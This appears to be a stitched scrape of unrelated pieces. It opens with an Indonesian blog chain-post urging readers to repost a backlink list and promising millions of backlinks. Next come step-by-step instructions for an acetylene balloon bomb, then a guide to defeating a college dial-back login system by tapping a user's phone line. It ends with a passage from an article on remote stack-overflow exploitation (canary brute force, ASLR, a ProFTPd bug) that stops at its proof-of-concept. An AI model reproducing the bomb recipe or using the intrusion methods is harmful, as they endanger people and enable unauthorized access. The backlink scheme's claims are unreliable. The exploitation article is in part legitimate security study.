Artikel Terbaru »

Cara Cepat Menaikan Pagerank plus Dapat Ribuan Backlink

Thursday, December 22, 2011

Nah, pada posting kali ini saya akan Berbagi Tips bagaimana sih menaikkan Pagerank blog kita,,
Artikel ini sangatlah bermanfaat buat teman-temane blogger yang ingin menaikkan Ranking Pageranknya agar lebih tinggi lagi dari sebelumnya,,
dan juga buat teman-teman blogger yang pageranknya masih 0..
Trik ini saya dapatkan Ketika saya blogwalking ke situs blog teman,,
sebelumnya saya tidak percaya trik ini akan berhasil,,
tapi ketika say coba ke blog saya yang lain,, ternyata memang trik ini bener-bener ampuh..
Pagerank Blog menjadi naik, dan Blog ini pun ikut naik pagerank gara-gara trik ini juga,,

Jika Menurut saya, Trik ini wajib hukumnya bagi semua blogger..
karena dengan trik ini juga kita bisa mendapat Ribuan Backlink Natural, dan dampaknya sangat dahsyat buat visitor blog..
visitor blog yng tadinya sepi bisa membludak karena efek backlink dari trik ini,..
lalu bagaimanakah triknya??
Triknya cukup simple lho teman-teman,,
teman-teman  hanya tinggal copy paste link yang berada di bawah ini,,
dengan syarat teman-teman harus menghapus link pada peringkat 1 dari daftar,,
Kemudian pindahkan yang tadinya nomor 2 menjadi nomor 1, nomor 3 menjadi nomor 2, nomor 4 menjadi nomor 3, dst. Kemudian masukan link blog teman-teman sendiri pada urutan paling bawah ( nomor 10).. Posting di Blog teman-teman Dan yang penting juga silahkan ajak teman-teman blogger yang lain untuk mengikuti cara ini serta sebarkan cara ini ke semua teman yang punya blog, baik blog versi Blogspot, Wordpress, mywapblog Dll.

1. alfacroon 
2. Trik-Gue  


Keterangan:
Jika teman-teman mampu mengajak lima orang saja untuk mengcopy artikel di posting blog teman-teman,, maka jumlah backlink yang akan didapat adalah sebagai berikut:
•    Posisi 10, jumlah backlink = 1
•    Posisi 9, jumlah backlink = 5
•    Posisi 8, jumlah backlink = 25
•    Posisi 7, jumlah backlink = 125
•    Posisi 6, jumlah backlink = 625
•    Posisi 5, jumlah backlink = 3,125
•    Posisi 4, jumlah backlink =15,625
•    Posisi 3, jumlah backlink = 78,125
•    Posisi 2, jumlah backlink = 390,625
•    Posisi 1, jumlah backlink = 1,953,125


Dan nama dari alamat blog dapat dimasukan kata kunci yang teman-teman inginkan,
yang juga bisa menarik perhatian untuk segera diklik.
Dari sisi SEO teman-teman sudah mendapatkan 1,953,125 backlink gratis! dan efek sampingnya adalah meningkatnya Trafik blog kita serta Meningkatnya Pagerank Blog kita!
jika pengunjung downline mengklik link teman-teman maka teman-teman juga mendapat traffik tambahan..


Penting
Saya sangat menyarankan agar teman-teman mencoba cara ini dan silakan copy paste tulisan ini dan kemudian posting di blog teman-teman dan kemudian sebarkan Cara Menaikkan Pagerank ini ke teman-teman logger lainnya.. Ingat! Hilangkan link nomor 1 dan masukan alamat blog teman-teman pada nomor 10...



Okeh teman-teman,, demikian trik dari saya tentang cara menaikkan pagerank Blogkita,,
Jika teman-teman tidak melakukan trik ini,, maka saya jamin teman-teman akan sangat Rugi!
karena trik ini sudah terbukti berhasil di blog-blog yang menggunakan trik ini,,
lalu tunggu apa lagi?? kita semua pasti menginginkan Pagerank Blog kita naik kan?
oleh karena itu,, jangan ragu-ragu,...!
ayo repost Trik ini dan dapatkan Ribuan backlink dan Meingkatnnya Ranking Pagerank,,. :)
Ayo ke TKP sekarang!

Acetylene Balloon Bomb

Monday, December 19, 2011

Imagine this. A great, inflated, green garbage bag
slowly wafting down from a tall building. It gains some speed
as it nears the ground. People look up and say, "What the....?"
The garbage bag hits! *BOOM!!!* It explodes in a thundering
fireball of green bits of plastic and flame!
          "What is this?" you may ask. Well, this is the great
"Acetylene Balloon Bomb." And here is how to make it.
Ingredients:
(1>       For a small bomb: a plastic bag. Not too big.
          For something big(ger): a green, plastic garbage bag.

(2>       Some "Fun-Snaps". A dozen should be more than enough.

(3>       Some garbage bag twisties. String would also do.

(4>       A few rocks. Not too heavy, but depends on size of
          bomb and desired velocity of balloon/bomb.

(5>       PRIME INGREDIENT: Acetylene. This is what is used in
          acetylene torches. More on this substance later.

(6>       One or more eager Anarchists.

NOTES:
======
Acetylene is a fairly dangerous substance. It is unstable upon
contact with oxygen (air). For this reason, and for your
safety, I recommend you keep all of the acetylene AWAY from any
source of oxygen. This means don't let it get in touch with
air.


Construction:
=============
(1>       Fill up a bathtub with cold water. Make it VERY full.
(2>       Now get put you garbage bag in the water and fill it
          with water. Make sure ALL air/oxygen is out of the
          bag before proceeding.
(3>       Now take your acetylene source (I used it straight
          from the torch, and I recommend this way also.), and
          fill the bag up with acetylene.
(4>       Now, being careful with the acetylene, take the bag
          out of the tub and tie the opening shut with the
          twisty or string. Let the balloon dry off now. (Put
          it in a safe place.)
(5>       Okay. Now that it is dry and filled with acetlene,
          open it up and drop a few rocks in there. Also add
          some Fun-Snaps. The rocks will carry the balloon
          down, and the Fun-Snaps will spark upon impact, thus
          setting off the highly inflammable acetylene.
          *BABOOM!*
(6>       Now put the twisty or string back on VERY tightly.
          You now have a delicate but powerful balloon bomb.

To use:
=======
Just drop off of a cliff, airplane, building, or whatever. It
will hit the ground a explode in a fireball. Be careful you are
not near the explosion site. And be careful you are not
directly above the blast or the fireball may rise and give you
a few nasty burns.

Have fun!
But be careful...

NOTE: I, The Clashmaster, am in NO WAY responsible for the use
===== of this information in any way. This is for purely
      informational purposes only!

Hacking SAM - A Description Of The Dial-Up Security System

SAM is a security system that is being used in many colleges
today as a security feature against intrusion from the outside.  This
system utilizes a dial-back routine which is very effective.  To
access the computer, you must first dial the port to which SAM is
hooked up.  The port for one such college is located at (818) 885-
2082.  After you have called, SAM will answer the phone, but will make
no other responses (no carrier signals).  At this point, you must
punch in a valid Login Identification Number on a push-button phone.
The number is in this format -- xxyyyy -- where xx is, for the number
mentioned above, 70.  'yyyy' is the last 4 digits of the valid user's
telephone number.
     If a valid LIN is entered, SAM will give one of 3 responses:
1) A 1 second low tone
2) A 1 second alternating high/low tone
3) A tone burst

Responses 1 and 2 indicate that SAM has accepted your passcode and is
waiting for you to hang up.  After you hang up, it will dial the valid
users phone number and wait for a second signal.

Response 3 indicates that all of the outgoing lines are busy.

If SAM accepts your passcode, you will have to tap into the valid
users line and intercept SAM when it calls.  If you do this, then hit
the '*' key on your phone.  SAM will respond with a standard carrier,
and you are in!

Scraps of notes on remote stack overflow exploitation

---[ 1. Introduction

    Before the main topic of this article starts I would like to say, this 
paper describes a few little techniques based on small observations related
to the POSIX standard. This observation open a small door for us to use a 
mix of well known exploitation techniques for bypassing modern security 
mechanisms / systems.

    Nowadays, finding a stack overflow error does not imply a successful
attack on the system. Bah! Nowadays, it is much harder, nearly impossible
to do a remote attack. This is because of the new security patches which
strongly increase the difficulty of exploiting bugs. We have a really
impressive number of different kind of patches that protect against attacks
in different layers and use different ideas. Let's look at the most popular
and typically used ones in modern *NIX systems.

--[ 2. Anti Exploitation Techniques


*) AAAS (ASCII Armored Address Space)

AAAS is a very interesting idea. The idea is to load libraries (and more 
generally any ET_DYN object) in the 16 first megabytes of the address 
space. As a result, all code and data of these shared libraries are located
at addresses beginning with a NULL byte. It naturally breaks the 
exploitation of the particular set of overflow bugs in which an improper 
use of the NULL byte character leads to the corruption (for example 
strcpy() functions and similar situations). Such a protection is 
intrinsically not effective against situations where the NULL byte is not 
an issue or when the return address used by the attacker does not contain a
NULL byte (like the PLT on Linux/*BSD x86 systems). Such a protection is 
used on Fedora distributions.

*) ESP (Executable Space Protection)   

The idea of this protection mechanism is very old and simple. 
Traditionally, overflows are exploited using shellcodes which means the 
execution of user supplied 'code' in a 'data' area. Such an unusual 
situation is easily mitigated by preventing data sections (stack, heap, 
.data, etc.) and more generally (if possible) all writable process memory 
from executing. This cannot however prevent the attacker from calling 
already loaded code such as libraries or program functions. This led to the
classical return-into-libc family of attacks. Nowadays all PAE or 64 bits 
x86 linux kernel are supporting this by default.

*) ASLR (Address Space Layout Randomization)

The idea of ASLR is to randomize the loading address of several memory 
areas such as the program's stack and heap, or its libraries. As a result 
even if the attacker overwrites the metadata and is able to change the 
program flow, he doesn't know where the next instructions (shellcode, 
library functions) are. The idea is simple and effective. ASLR is enabled 
by default on linux kernel since linux 2.6.12.

*) Stack canaries (canaries of the death)

This is a compiler mechanism, in contrast to previously kernel-based 
described techniques. When a function is called, the code inserted by the 
compiler in its prologue stores a special value (the so-called cookie) on 
the stack before the metadata. This value is a kind of defender of 
sensitive data. During the epilogue the stack value is compared with the 
original one and if they are not the same then a memory corruption must 
have occurred. The program is then killed and this situation is reported in
the system logs. Details about technical implementation and little arm race
between protection and bypassing protection in this area will be explained 
further.


--[ 3. The stack cookies problem 

--[ 3.1. A story of cookie protection

There were / are many of its implementations. Some of them are better while 
others are worse. Definitely the best implementation is SSP (Stack Smashing
Protector), also known as ProPolice which is our topic and has been 
included in gcc since version 4.x.

How do those canaries work? At the time of creating the stack frame, the
so-called canary is added. This is a random number. When a hacker triggers
a stack overflow bug, before overwriting the metadata stored on the stack 
he has to overwrite the canary. When the epilogue is called (which removes 
the stack frame) the original canary value (stored in the TLS, referred by 
the gs segment selector on x86) is compared to the value on the stack. If 
these values are different SSP writes a message about the attack in the 
system logs and terminate the program. 

When a program is compiled with SSP, the stack is setup in this way:


            |             ...             |
            -------------------------------
            | N - Argument for function   |
            -------------------------------
            | N-1 - Argument for function |
            -------------------------------
            |             ...             |
            -------------------------------
            | 2 - Argument for function   |
            -------------------------------
            | 1 - Argument for function   |
            -------------------------------
            |        Return Address       |
            -------------------------------
            |         Frame Pointer       |
            -------------------------------
            |             xxx             |
            -------------------------------
            |           Canary            |
            -------------------------------
            |       Local Variables       |
            -------------------------------
            |             ...             |
 

What is an 'xxx' value? So... It is very common that gcc adds some padding 
on the stack. In compilers of the 3.3.x and 3.4.x versions it is usually 
20 bytes. It prevents exploiting off-by-one bugs. This article is not about
this solution either, but we should be aware of that.

The reordering issue
--------------------

Bulba and Kil3r published a technique in their phrack article [1] on how to
bypass this security protection, if the local variables are in this kind of 
configuration:

---------------------------------------------------------------------------
                    int func(char *arg) {

                       char *ptr;
                       char buf[MAX];

                       ...

                       memcpy(buf,arg,strlen(arg));

                       ...

                       strcpy(ptr,arg);

                       ...

                    }
---------------------------------------------------------------------------

In this situation we don't need to overwrite the canary value. We can 
simply overwrite the ptr pointer with the return address. Since it's used 
as the destination pointer of a memory copy then we can set what we want 
and where we want (which includes the return address) without touching the 
canary:


                |             ...             |
                -------------------------------
                | arg - Argument for function |
                -------------------------------
          ----> |        Return Address       |
          |     -------------------------------
          |     |         Frame Pointer       |
          |     -------------------------------
          |     |             xxx             |
          |     -------------------------------
          |     |           Canary            |
          |     -------------------------------
          ----  |           char *ptr         |
                -------------------------------
                |        char buf[MAX-1]      |
                -------------------------------
                |        char buf[MAX-2]      |
                -------------------------------
                |             ...             |
                -------------------------------
                |          char buf[0]        |
                -------------------------------
                |             ...             |


In this kind of situation, if an attacker can directly (or not) modify a 
pointer, the canaries of the death may fail!

In fact SSP is much more complicated and advanced than other 
implementations of the canaries of the death (e.g. StackGuard). Indeed SSP 
also uses some heuristic to order the local variables on the stack. 

For example, imagine the following function:

---------------------------------------------------------------------------
            int func(char *arg1, char *arg2) {

               int a;
               int *b;
               char c[10];
               char d[3];

               memcpy(c,arg1,strlen(arg1));
               *b = 5;
               memcpy(d,arg2,strlen(arg2));
               return *b;
            }
---------------------------------------------------------------------------

In theory the stack should more or less look like that:

               (d[..]) (c[..]) (*b) (a) (...) (FP) (IP)

But SSP changes the order of the local variables and the stack will instead
look like this:

               (*b) (a) (d[..]) (c[..]) (...) (FP) (IP)

Of course SSP always adds the canary. Now the stack looks really bad from 
the attacker's point of view:


                |             ...             |
                -------------------------------
                |arg1 - Argument for function |
                -------------------------------
                |arg2 - Argument for function |
                -------------------------------
                |        Return Address       |
                -------------------------------
                |         Frame Pointer       |
                -------------------------------
                |             xxx             |
                -------------------------------
                |           Canary            |
                -------------------------------
                |           char c[..]        |
                -------------------------------
                |           char d[..]        |
                -------------------------------
                |            int a            |
                -------------------------------
                |            int *b           |
                -------------------------------
                |         Copy of arg1        |
                -------------------------------
                |         Copy of arg2        |
                -------------------------------
                |             ...             |


SSP always tries to put all buffers close to the canary, while pointers as 
far from the buffers as it can. The arguments of the function are also 
copied in a special place on the stack so that the original arguments are 
never used.

With such a reordering the chances to overwrite some pointers to modify 
the control flow seem low. It looks like an attacker doesn't have any other
option than a mere bruteforce to exploit stack overflow bugs, does he? :)

The limitations of SSP
----------------------

Even SSP is not perfect. There are some 'special' cases when SSP can't 
create a 'safe frame'. Here are some of the known situations:

*) SSP does NOT protect each buffer separately. When data on the stack is 
   reordered in a safe way we can still overwrite the buffer by another 
   buffer. If there are many buffers, all of them will be put close to each
   other. We can imagine the situation when a buffer, which is before 
   another buffer, can overwrite it. If there are data used by the 
   application for the control flow in the overflown buffer, then a door is
   open and depending on the program it may be possible to exploit this 
   control.

*) If we have structures or classes, SSP will NOT reorder the arguments
   inside of this data area.

*) If the function accepts a variable number of arguments (such as 
   *printf()) then SSP will not know how many arguments to expect. In this 
   situation the compiler will not be able to copy the arguments in a safe
   location.

*) If the program uses the alloc() function or extends the standard C 
   language on how to create a dynamic array (e.g. char tab[size+5]) SSP 
   will place all this data on top of the frame. People interested in
   dynamic arrays should read andrewg's phrack paper on the subject [13].

*) In most cases, when the application "plays" with virtual functions 
   in C++, it is hard to create a 'secure frame' - for detailed
   information please read reference [2].

**) Some distributions (like Ubuntu 10.04) have a canary which is masked by
    value 0x00FFFFFF. The NULL byte will be always there.

**) StackGuard v2.0.1 always uses the static canary 0x000AFF0D. These bytes
    weren't chosen randomly. The 0x00 byte is for stopping the copy of 
    strings arguments. The 0x0A byte is the 'new line' and it can stop 
    reading bytes by function like *gets(). The byte 0xFF and 0x0D ('\r') 
    can sometimes stop copying process too. If you check the value of 
    terminator canary generated by SSP on non system-V you will discover it
    is almost the same. StackGuard add also the byte '\r' (0x0D) which SSP 
    doesn't.

---[ 3.2 - The canary security

Beginning from the gcc version 4.1 stage2 [6], [7] the Stack Smashing
Protector is included by default. Gcc developers reimplemented IBM Pro 
Police Stack Detector. Let's look at its implementation under the loupe. 
We need to determine:

    *) If the canary is really random
    *) If the address of the canary can be leaked

The runtime protection
-----------------------

If we look inside a protected function we can find the following code 
added by SSP to the epilogue:

---------------------------------------------------------------------------
0x0804841c <main+40>:   mov    -0x8(%ebp),%edx
0x0804841f <main+43>:   xor    %gs:0x14,%edx
0x08048426 <main+50>:   je     0x804842d <main+57>
0x08048428 <main+52>:   call   0x8048330 <__stack_chk_fail@plt>
---------------------------------------------------------------------------

This code retrieves the local canary value from the stack and compares it
with the original one stored in the TLS. If the values are not the same, 
the function __stack_chk_fail() takes control. 

The implementation of this function can be found in GNU C Library code in 
file "debug/stack_chk_fail.c"

---------------------------------------------------------------------------
 #include <stdio.h>
 #include <stdlib.h>
  
 extern char **__libc_argv attribute_hidden;
  
 void
 __attribute__ ((noreturn))
 __stack_chk_fail (void)
 {
   __fortify_fail ("stack smashing detected");
 }
---------------------------------------------------------------------------

What is important is that this function has the attribute "noreturn". That 
means (obviously) that it never returns. Let's look deeper and see how. The
definition of the function __fortify_fail() can be found it in file 
"debug/fortify_fail.c"

---------------------------------------------------------------------------
 #include <stdio.h>
 #include <stdlib.h>
  
 extern char **__libc_argv attribute_hidden;
  
 void
 __attribute__ ((noreturn))
 __fortify_fail (msg)
      const char *msg;
 {
   /* The loop is added only to keep gcc happy.  */
   while (1)
     __libc_message (2, "*** %s ***: %s terminated\n",
                     msg, __libc_argv[0] ?: "<unknown>");
 }
 libc_hidden_def (__fortify_fail)
---------------------------------------------------------------------------

So __fortify_fail() is a wrapper around the function __libc_message() 
which in turn calls abort(). There is indeed no way to avoid it.

The initialisation
-------------------

Let's have a look at the code of the Run-Time Dynamic Linker in 
"etc/rtld.c". The canary initialisation is performed by the function 
security_init() which is called when the RTLD is loaded (the TLS was init
by the init_tls() function before):

---------------------------------------------------------------------------
 static void
 security_init (void)
 {
   /* Set up the stack checker's canary.  */
   uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard ();
 #ifdef THREAD_SET_STACK_GUARD
   THREAD_SET_STACK_GUARD (stack_chk_guard);
 #else
   __stack_chk_guard = stack_chk_guard;
 #endif
  
        [...] // pointer guard stuff
 }
---------------------------------------------------------------------------

The canary value is created by the function _dl_setup_stack_chk_guard(). In
original implementation published by IBM it was the function __guard_setup.

Depending on the operating system, the function _dl_setup_stack_chk_guard()
is either defined in file "sysdeps/unix/sysv/linux/dl-osinfo.h" or in file 
"sysdeps/generic/dl-osinfo.h"

If we go to the UNIX System V definition of the function we will find:

---------------------------------------------------------------------------
 static inline uintptr_t __attribute__ ((always_inline))
 _dl_setup_stack_chk_guard (void)
 {
   uintptr_t ret;
 #ifdef ENABLE_STACKGUARD_RANDOMIZE
   int fd = __open ("/dev/urandom", O_RDONLY);
   if (fd >= 0)
     {
       ssize_t reslen = __read (fd, &ret, sizeof (ret));
       __close (fd);
       if (reslen == (ssize_t) sizeof (ret))
         return ret;
     }
 #endif
   ret = 0;
   unsigned char *p = (unsigned char *) &ret;
   p[sizeof (ret) - 1] = 255;
   p[sizeof (ret) - 2] = '\n';
   return ret;
 }
---------------------------------------------------------------------------

If the macro ENABLE_STACKGUARD_RANDOMIZE is enabled, the function open the 
device "/dev/urandom", read sizeof(uintptr_t) bytes and return them. 
Otherwise of if this operation is not successful, a terminator canary is
generated. First it put the value 0x00 in the variable ret. Next it changes
two bytes to the value 0xFF and 0xa. Finally the terminator canary will 
always be 0x00000aff.

Now if we go to the definition of function _dl_setup_stack_chk_guard()
for other operating systems we see:

---------------------------------------------------------------------------
 #include <stdint.h>
  
 static inline uintptr_t __attribute__ ((always_inline))
 _dl_setup_stack_chk_guard (void)
 {
   uintptr_t ret = 0;
   unsigned char *p = (unsigned char *) &ret;
   p[sizeof (ret) - 1] = 255;
   p[sizeof (ret) - 2] = '\n';
   p[0] = 0;
   return ret;
 }
---------------------------------------------------------------------------

So this function always generates a terminator canary value.

Conclusion
----------

Either the canary is fully random and unpredictable (assuming /dev/urandom
is safe which is a fair assumption) or it's constant and weak (weaker than
stackguard) but nontheless troublesome in some kind of situations.

The storage of its value is dependant on the TLS which itself is not at 
fixed location (and the virtual address is never leaked in the code thanks
to the segment selector trick) which means that it could hardly be leaked.


---[ 3.3 - Exploiting canaries remotely

Usually networks daemons create a new thread by calling clone() or a new 
process by calling fork() to support a new connection. In the case of 
fork() and depending on the daemon, the child process may or may not call 
execve() which means that it will be in one the two situations:


1. without execve()

                                [mother]
                      --------> accept()
                      |            |
                      |            | <- new connection
                      |            |
                      |          fork()
                      |          |    |
                      |   mother |    | child
                      -----------|    |
                                      |
                                    read()
                                      |
                                     ...
                                     ...

2. with execve()
                                [mother]
                      --------> accept()
                      |            |
                      |            | <- new connection
                      |            |
                      |          fork()
                      |          |    |
                      |   mother |    | child
                      -----------|    |
                                      |
                                   execve()
                                      |
                                      |
                                    read()
                                      |
                                     ...
                                     ...

Note 1: OpenSSH is a good example of the second example.
Note 2: Of course there is also the possibility that the server is using
select() instead of accept(). In such case, there is of course no fork().

As stated by the man page:

*) the fork() system call creates a duplicate of the calling process which 
means that father and child share a same canary as this is a 
per-process-canary and not a per-function-canary mechanism. This is an 
interesting property as if for each attempt we were able to guess a little 
of the canary then with a finite number of guesses we would be successful.

*) when execve() is called "text, data, bss, and stack of the calling 
process are overwritten by that of the program loaded." This implies that 
the canary is different for each child. As a result, being able to guess a 
little of the child canary is most likely useless as this will result in a 
crash and any result wouldn't be applicable to the next child.

Considering 32-bits architecture, the number of possible canaries is up to 
2^32 (2^24 on Ubuntu) which is around 4 billions (respectively 16 millions)
which is impossible to test remotely while feasible locally in a few hours. 

What should one do? Ben Hawkes [9] suggested an interesting method: brute 
forcing with a byte-by-byte technique which is much more effective. When 
can we use it? As we have mentioned, the canary does not change while 
fork()'ing whereas with execve() it does. As a result guessing one byte 
after an other requires that the fork() is not followed by an execve() 
call.

Here is the stack of the vulnerable function:

| ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. |

P - 1 byte of buffer
C - 1 byte of canary

First, we overwrite the first byte of canary and we check when the program 
ends with an error and when does not. It could be done in several ways. 
Hawkes proposed to estimate the program's answer time: whenever it misses 
the canary's byte, the program ends immediately. When the canary's byte 
matches, the program will still run, so its ending time is much longer than
in the first case. We do not necessarily have to use that technique. It 
often happens that after calling the function, the server (daemon) sends us
back some responses as the result of an operation. All we need to do is to 
check whether an expected data is received by the socket. If it is the 
expected one, it means we've got the correct canary's byte and we can move 
to the next one.

Because 1 byte can have 256 different values at most, it becomes a relative
calculus. Knowing the first byte's value, we have to guess 256 different 
possibilities for the following bytes which means that the whole cookie 
could be guessed in 4*256 = 1024 combinations which is reasonable.

Here is the drawing of the four steps (each being a particular byte guess):

First byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. |

Second byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. |

Third byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. |

Fourth byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. |


When the attack is finished, we know that the canary's value is XYZA. With 
this knowledge we are then able to continue the attack of the application. 
Overwriting data, we put the canary's value in the canary's location. Since
the canary is overwritten by its original value, the memory corruption is
not detected.

The easiest and simplest way to find the canary's location is nothing else 
than testing. If we know that we can overwrite a 100 bytes buffer, we 
actually send a fake packet with 101 bytes length and we check the answer 
in the same way as we did while discussing theory of breaking the canary's
value. If the program does NOT crash, it means that we have overwritten 
something else than the canary with high probability (we could also have 
overwritten the first byte of the canary with the correct value). 
Continuing to increase the amount of overwritten bytes, the program will 
finally stop running so we will know where the canary's value begins.

Mitigation
----------

When will this technique not work? Every time we can't fully control the 
overwritten bytes. For example you may not be able to control the last 
character of your buffer or you may be have to deal with filtering (if NULL
bytes are prohibited then it's over).

A good example of such a situation is the latest pre-auth ProFTPd bug 
(CVE-2010-3867) discovered by TJ Saunders. The bug lies in the parsing of 
TELNET_IAC chars because of miscalculated end of reading loop. Let's look 
at this bug closer.

The problem lies in the function pr_netio_telnet_gets() from the file 
"src/netio.c":

---------------------------------------------------------------------------
 char *pr_netio_telnet_gets(char *buf, size_t buflen,
     pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
   char *bp = buf;

 ...

  [L1]  while (buflen) {

  ...

       toread = pr_netio_read(in_nstrm, pbuf->buf,
       (buflen < pbuf->buflen ?  buflen : pbuf->buflen), 1);
  ...

  [L2]    while (buflen && toread > 0 && *pbuf->current != '\n' 
          && toread--) {
  ...
           if (handle_iac == TRUE) {
             switch (telnet_mode) {
               case TELNET_IAC:
                 switch (cp) {

  ...
  ...

                   default:

  ...

                     *bp++ = TELNET_IAC;
  [L3]                  buflen--;

                     telnet_mode = 0;
                     break;
                 }
  ...
             }
           }
          
              *bp++ = cp;
  [L4]        buflen--;
         }
  ...
  ...
         *bp = '\0';
         return buf;
        }
    }
---------------------------------------------------------------------------

The loop [L2] reads and parses the bytes. Each time it decrements buflen 
[L4]. A problem exists when TELNET_IAC character comes (0xFF). When this 
character occurs in the parsing buflen is decremented [L3]. As a result in 
this situation, buflen is decremented by 2 which is perfect to bypass an 
inappropriate check in [L1]. Indeed, when buflen == 1 if the parsed 
character is TELNET_IAC then buflen = 1 - 2 = -1. As a result, the 
"while (buflen && " condition of [L1] holds and the copy continues (until 
an '\n' is found).

The function pr_netio_telnet_gets() is called by function pr_cmd_read() 
from file "src/main.c":

---------------------------------------------------------------------------
 int pr_cmd_read(cmd_rec **res) {
   static long cmd_bufsz = -1;
   char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};

 ...

   while (TRUE) {

 ...

     if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
         session.c->outstrm) == NULL) {

 ...

   }

 ...
 ...

   return 0;
 }
---------------------------------------------------------------------------

In this case the argument for the vulnerable function is a local buffer on 
the stack. So this is a classical stack buffer overflow bug. In theory all 
conditions are met to bypass pro-police canary using the byte-by-byte 
technique. But if we look closer to the vulnerable function we see this 
code:

   *bp = '\0';

... which break the idea of using a byte-by-byte attack. Why? Because we 
can never control the last overflowed byte which is always 0x00, only the 
penultimate.

Additionally, the 'byte-by-byte' method requires that all children have a 
same canary. This is not possible if the children are calling execve() as 
explained earlier. In such a situation, a bruteforce attack is quite 
unlikely to succeed. Of course we could try to guess 3 bytes each time if 
we had a lot of time... but it would means a one shot attack afterward 
since multiplying the complexity of both attempts would require too much 
time.

Finally, grsecurity provides an interesting security feature to prevent 
this kind of exploitation. Considering the fact that the bruteforce will 
necessarily result in the crash of children, then a child dying with SIGILL
(such as if PaX killed it for example) is highly suspicious. As a result, 
while in do_coredump() the kernel set a flag in the parent process using 
the gr_handle_brute_attach() function. The next forking attempt of the 
parent will then be delayed. Indeed in do_fork() the task is set in the 
TASK_UNINTERRUPTIBLE state and put to sleep for (at least) 30s.

---------------------------------------------------------------------------
+void gr_handle_brute_attach(struct task_struct *p)
+{
+#ifdef CONFIG_GRKERNSEC_BRUTE
+ read_lock(&tasklist_lock);
+ read_lock(&grsec_exec_file_lock);
+ if (p->p_pptr && p->p_pptr->exec_file == p->exec_file)
+  p->p_pptr->brute = 1;
+ read_unlock(&grsec_exec_file_lock);
+ read_unlock(&tasklist_lock);
+#endif
+ return;
+}
+
+void gr_handle_brute_check(void)
+{
+#ifdef CONFIG_GRKERNSEC_BRUTE
+ if (current->brute) {
+  set_current_state(TASK_UNINTERRUPTIBLE);
+  schedule_timeout(30 * HZ);
+ } 
+#endif
+ return;
+}
---------------------------------------------------------------------------

While this mechanism has its limit (SIGILL is the only signal to trigger 
the delay), it proves itself effective to slow down an attacker.


--[ 4 - A few words about the other protections

When the daemon is forking without calling execve() we can bypass SSP 
because we can discover the "random" value of the canary, but we still have
to deal with non-exec memory and ASLR. 

Executable Space Protection
---------------------------

The 10th of August 1997 Solar Designer's post in bugtraq mailing list 
introduced the ret-into-libc attack which allows to bypass non-exec memory 
restriction [11]. The technique was later enhanced by nergal in his phrack 
paper [10] in which he introduced many new and now well known concepts 
still in use nowadays such as:

    *) Chaining. The consecutive call of several functions. [10] describes
       the necessary stack layout to perform such a thing on x86. The 
       concept was later extended to other architectures and "gadgets" 
       (ROP) were introduced. 

    *) The use of mprotect() which was introduced as a counter measure 
       against PaX and still effective on some systems (though not on PaX 
       itself).

    *) dl-resolve() which allows to call functions of the shared library 
       even when they don't have an entry in the PLT.

Ok - so we know the technique that we should use to bypass non-executable 
memory but we still have a few problems. We don't know the address of the 
function that should be called (typically a system()-like) and the address 
of the argument(s) for this function. 

At that point as an attacker you may have three solutions:

    *) You can try to bruteforce. Obviously and as stated many times, you 
       should only bruteforce the strict necessary which is usually an 
       offset from which you can deduce the missing addresses. Interesting 
       information though a bit outdated on how you could perform this are 
       given in [12].

    *) You find some way to perform an info leak. Depending on the 
       situation this can be tricky (though not always) especially on 
       modern systems where daemons are often compiled as PIE binaries. For
       example on recent Ubuntu, by default most daemons are PIE binaries. 
       As a result, it's no more possible to use fixed address in the 
       code/data segment of the program.

    *) You can exploit the memory layout to find some clever way to reduce 
       the amount of parameters to guess. Depending on the context, a deep 
       study of the program may be necessary.

The important thing to remember is that there is no generic technique, a 
clever bug exploitation is highly dependant of the context induced by the
program itself. This is especially true with modern memory protections.

ASLR: Taking advantage of fork()
--------------------------------

As explained earlier the address space of the child process is a copy of 
its parent. However this is no longer the case if the child performs an 
execve() as the process is then completely reloaded and the address space
is then totally unpredictable because of the ASLR.

From a mathematical point of view, guessing an address is a: 
    - sampling without replacement (in fork() only situations)
    - sampling with replacement (in fork() followed by execve() situation)

In the case of PIE network daemons, you have at least two distincts sources
of entropy:

    *) the cookie: 24 bits or 32 bits on 32 bit OS
    *) the ASLR: 16 bits for mmap() randomization with PaX (in PAGEEXEC 
       case) on 32 bit OS

(Last claim is proved by the following patch extract)

---------------------------------------------------------------------------
+#ifdef CONFIG_PAX_ASLR
+ if (current->mm->pax_flags & MF_PAX_RANDMMAP) {
+  current->mm->delta_mmap = (pax_get_random_long() 
                & ((1UL << PAX_DELTA_MMAP_LEN)-1)) << PAGE_SHIFT;
+  current->mm->delta_stack = (pax_get_random_long() 
                & ((1UL << PAX_DELTA_STACK_LEN)-1)) << PAGE_SHIFT;
+ }
+#endif

+#define PAX_DELTA_MMAP_LEN (current->mm->pax_flags 
                                & MF_PAX_SEGMEXEC ? 15 : 16)
+#define PAX_DELTA_STACK_LEN (current->mm->pax_flags 
                                & MF_PAX_SEGMEXEC ? 15 : 16)
---------------------------------------------------------------------------

Note: ET_DYN object randomization is performed using the delta_mmap offset.
We will see in chapter 5 that we need to guess this parameter.

Now the main idea is that without execve() the expected number of trials to
perform the attack is the sum of the number of attempts required to guess 
the canary and the memory layout. With execve() it's their product. 

Example:

    Exploiting the proftpd bug on an Ubuntu 10.04 + PaX with: 
        - no byte-by-byte
        - no execve()
        - cookie has a null byte
        - binary is compiled as PIE

It should require an average of 2^24 + 2^16 attempts (if binary is PIE). 
From a complexity point of view, we could say that guessing both values is 
as hard as guessing the cookie.

Note: Last minute update. It seems that proftpd is not compiled as PIE in 
common distributions/Unix (according to many exploits targets). 


---[ 5. Hacking the PoC

As a proof of these scribbles let's study and exploit an example of a 
vulnerable server (complete code is in appendix). A trivial stack overflow
was emulated in the following function:

---------------------------------------------------------------------------
int vuln_func(char *args, int fd, int ile) {

    char buf[100];
    memset(buf, 0, sizeof buf);

